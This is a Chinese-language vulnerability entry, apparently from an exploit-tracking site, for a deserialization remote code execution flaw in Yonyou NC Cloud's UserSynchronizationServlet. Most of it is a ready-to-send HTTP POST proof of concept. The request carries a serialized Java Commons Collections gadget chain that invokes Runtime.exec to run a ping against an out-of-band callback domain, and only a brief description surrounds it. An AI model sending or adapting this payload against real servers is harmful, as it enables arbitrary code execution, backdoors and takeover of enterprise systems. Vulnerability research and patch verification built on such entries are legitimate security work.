用友 NC UserSynchronizationServlet 接口远程代码执行漏洞

2023-11-15 用友NC UserSynchronizationServlet PoC Public

Description

用友 NC Cloud 是一种商业级的企业资源规划云平台，为企业提供全面的管理解决方案，包括财务管理、采购管理、销售管理、人力资源管理等功能，实现企业的数字化转型和业务流程优化。用友 NC Cloud 存在反序列化代码执行漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。

PoC

POST /servlet/UserSynchronizationServlet?pageId=login HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 1355
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
X-Originating-Ip: [REDACTED]
X-Remote-Addr: [REDACTED]
X-Remote-Ip: [REDACTED]

��srjava.util.HashSet�D�����4xpw?@sr4org.apache.commons.collections.keyvalue.TiedMapEntry��қ9��LkeytLjava/lang/Object;LmaptLjava/util/Map;xpt&https://github.com/joaomatosf/jexboss sr*org.apache.commons.collections.map.LazyMapn唂�y�Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.ChainedTransformer0Ǘ�(z�[
iTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;�V*��4�xpsr;org.apache.commons.collections.functors.ConstantTransformerXv�A��L	iConstantq~xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformer���k{|�8[iArgst[Ljava/lang/Object;LiMethodNametLjava/lang/String;[iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;��X�s)lxpt
getRuntimeur[Ljava.lang.Class;�׮��Z�xpt	getMethoduq~vrjava.lang.String���8z;�Bxpvq~sq~uq~puq~tinvokeuq~vrjava.lang.Objectxpvq~sq~ur[Ljava.lang.String;��V��{Gxpt/ping d3i6c3plt95kfs63s15gp7ihb7adw9xu1.oast.protexecuq~q~ sq~srjava.lang.Integer⠤���8Ivaluexrjava.lang.Number������xpsrjava.util.HashMap���`�F
loadFactorI	thresholdxp?@wxxx

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/joaomatosf/jexboss

Related Vulnerabilities